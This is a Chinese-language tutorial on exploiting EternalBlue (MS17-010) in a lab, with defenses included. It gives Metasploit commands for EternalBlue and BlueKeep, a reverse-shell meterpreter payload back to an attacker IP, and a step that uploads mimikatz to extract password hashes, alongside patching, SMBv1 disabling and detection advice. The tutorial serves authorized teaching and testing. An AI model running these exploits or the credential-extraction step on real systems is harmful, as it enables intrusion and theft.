漏洞利用:永恒之蓝(MS17-010)与同类漏洞解析
1 永恒之蓝(MS17-010)漏洞背景
(1)漏洞信息
-
CVE编号:CVE-2017-0143 ~ CVE-2017-0148
-
影响范围:Windows XP ~ Windows 2012(未安装2017年3月补丁的系统)。
-
漏洞类型:SMB协议缓冲区溢出(远程代码执行)。
-
危害:攻击者可完全控制目标主机(被WannaCry勒索病毒广泛利用)。
(2)漏洞原理
-
SMBv1协议在处理畸形请求时未正确校验内存,导致攻击者通过恶意数据包覆盖关键内存区域,执行任意代码。
2 Metasploit攻击实战
(1) 环境准备
-
攻击机:Kali Linux(预装Metasploit)。
-
靶机:未打补丁的Windows 7 SP1(需关闭防火墙,开启SMBv1服务)。
-
网络配置:确保攻击机与靶机处于同一局域网(NAT/桥接模式)。
(2)攻击步骤
-
启动Metasploit并搜索模块:
msfconsole search ms17_010 # 显示相关模块(如exploit/windows/smb/ms17_010_eternalblue)
-
配置模块参数:
use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.1.100 # 靶机IP set PAYLOAD windows/x64/meterpreter/reverse_tcp # 反向Shell负载 set LHOST 192.168.1.50 # 攻击机IP exploit
-
攻击成功验证:
-
若成功,进入
meterpreter
会话:meterpreter > getuid # 显示当前权限(应为NT AUTHORITY\SYSTEM) meterpreter > shell # 进入系统命令行
-
3 同类高危漏洞解析
(1)CVE-2019-0708(BlueKeep)
-
影响:Windows远程桌面服务(RDP)漏洞,无需用户交互即可触发。
-
Metasploit利用:
use exploit/windows/rdp/cve_2019_0708_bluekeep set RHOST 192.168.1.101 run
(2)CVE-2021-34527(PrintNightmare)
-
影响:Windows打印服务权限提升漏洞。
-
利用场景:本地低权限用户获取SYSTEM权限。
(3)CVE-2022-30190(Follina)
-
影响:Office远程代码执行(通过恶意Word文档触发)。
-
攻击链:诱导用户打开文档 → 调用MSDT执行Payload。
常见问题与解决方案
问题 | 原因分析 | 解决方案 |
---|---|---|
模块加载失败“No module found” | Metasploit版本过旧 | 更新Metasploit:sudo apt update && sudo apt install metasploit-framework |
攻击失败“Target not vulnerable” | 靶机已安装补丁 | 检查靶机补丁(wmic qfe list 查看是否包含KB4012212)。 |
Meterpreter会话不稳定 | 网络波动或靶机防护软件拦截 | 使用bind_tcp 负载(正向连接)替代reverse_tcp 。 |
权限不足“NT AUTHORITY\NETWORK” | 漏洞利用链不完整 | 尝试其他模块(如ms17_010_psexec )。 |
防御措施
-
打补丁:
-
永恒之蓝:安装微软2017年3月安全更新(KB4012212)。
-
BlueKeep:安装KB4500331补丁。
-
-
关闭高危服务:
# 禁用SMBv1(Windows命令) PowerShell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 0 -Force
-
网络分段:限制SMB/RDP端口的互联网暴露(仅允许内网访问)。
-
入侵检测:部署IDS/IPS监控异常SMB流量(如大量
\pipe\srvsvc
请求)。
动手实验:漏洞复现与加固
-
复现永恒之蓝攻击
-
使用Metasploit获取靶机Shell,执行
upload /root/tools/mimikatz.exe
提取密码哈希。
-
-
加固Windows靶机
-
安装补丁后重新扫描,验证漏洞是否修复(Nmap脚本:
nmap -p445 --script smb-vuln-ms17-010 192.168.1.100
)。
-
总结
-
永恒之蓝是网络蠕虫级漏洞的代表,需彻底关闭SMBv1并更新系统。
-
同类漏洞(如BlueKeep)证明老旧协议的高风险性,需持续关注微软安全公告。
-
防御核心:最小化服务暴露 + 实时漏洞管理 + 流量监控。
注意:漏洞利用仅限授权测试,非法攻击将承担法律责任!
通过本节学习,你已掌握如何利用Metasploit复现高危漏洞,下一步可探索其他漏洞(如Weblogic反序列化)的利用与防御